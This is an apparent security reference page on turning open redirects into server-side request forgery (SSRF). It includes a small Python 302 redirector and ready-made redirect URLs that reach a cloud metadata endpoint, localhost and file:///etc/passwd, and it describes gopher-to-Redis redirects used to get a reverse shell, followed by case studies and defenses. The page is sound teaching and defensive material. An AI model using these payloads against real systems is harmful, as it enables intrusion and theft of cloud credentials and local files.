Open Redirect to SSRF

Turning a redirect-following HTTP client into an SSRF bypass: the app validates the user-supplied URL (allowlist, scheme, private-IP, format) but follows the 3xx Location response to an internal target it never re-checks.

How it works

Many fetchers follow redirects by default (requests/urllib3, libcurl, Java HttpClient, Node clients). The guard runs only against the initial user input; the redirect Location is taken from the attacker’s server and dialled without re-validation. Any filter that lives only at input time — allowlist, https-only scheme check, private-IP denylist, URL-shape constraints — falls to a first hop to an allowed/public host that 302s to the real target. This is the redirect sibling of the validate-to-fetch gap in DNS Rebinding and URL Parser Differentials: the approved destination isn’t bound to the socket that ultimately connects.

Techniques / payloads

Minimal self-hosted redirector (HackTricks):

# python3 redirector.py 8000 http://169.254.169.254/latest/meta-data/
class Redirect(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302); self.send_header('Location', sys.argv[2]); self.end_headers()

Point the sink at http://your-redirector:8000/ and it chases the Location.

r3dir (hosted, r3dir.me) — no infra; control target, status code, and method; supports CORS preflight for headless-browser redirects; Burp/Hackvertor integration:

https://302.r3dir.me/--to/?url=http://localhost
https://302.r3dir.me/--to/?url=http://169.254.169.254     # defeats https-only scheme check
https://302.r3dir.me/--to/?url=file:///etc/passwd         # protocol switch → local file read

What a redirect buys you:

  • Private-IP / denylist bypass — allowed host first hop → 127.0.0.1/0.0.0.0/169.254.169.254.
  • Scheme/protocol switch — input is forced https://, but the Location can be http://, gopher://, dict://, file://. Yahoo Mail blocked gopher:// at input but followed a 302 to gopher://127.0.0.1:6379/... → Redis RCE (see Gopher Protocol SSRF).
  • URL-shape bypass — app only lets you set a hostname for a fixed https://{host}:8080/ request; redirect escapes the fixed path/port/scheme.
  • Method downgrade — 301/302 can turn a POST into a GET (303 always does); r3dir lets you pick.

Zero-infra redirectors: URL shorteners (tinyurl set to http://127.0.0.1:5001/admin), ngrok, or an open-redirect on an already-allowlisted host — a redirect primitive on a trusted domain chains straight into the SSRF.

Notable cases

  • Yahoo Mail logoGrabber (sirleeroyjenkins, $15k) — direct gopher:// rejected and 127.0.0.1 filtered; a 302 to gopher://127.0.0.1:6379 bypassed both and reached Redis → root reverse shell.
  • r3dir demo filters — requests.get with an is_global pre-check and an https-only check both bypassed, because requests follows redirects under the hood with no per-hop IP check.
  • HackerOne reports #3383079 and #381129 — both SSRFs whose input filters were bypassed with redirects.
  • WWBN/AVideo CVE-2026-43884 (≤ 14.3, CVSS 7.7) — isSSRFSafeURL() validated only the initial URL; file_get_contents() followed redirects to IMDS (xalgorix).
  • Traewelling GHSA-4h3f-pf38-2rhj — webhook delivery via Guzzle with default allow_redirects (5 hops): an https:// attacker host 302s to http://169.254.169.254/latest/meta-data/, switching POST to GET (advisory).

Defenses

  • Disable redirect following on server-side fetchers, or cap at zero hops; if redirects are required, re-run the full SSRF validation on every hop’s resolved IP and scheme, not just the first URL.
  • Pin and re-check at connect time (DNS pinning, connected-peer validation — DNS Rebinding).
  • Enforce a scheme allowlist that also applies to redirect targets (block gopher/dict/file/ftp). Network egress policy to metadata/internal ranges as backstop (SSRF Prevention, IMDSv2).

See also: Open Redirect

Sources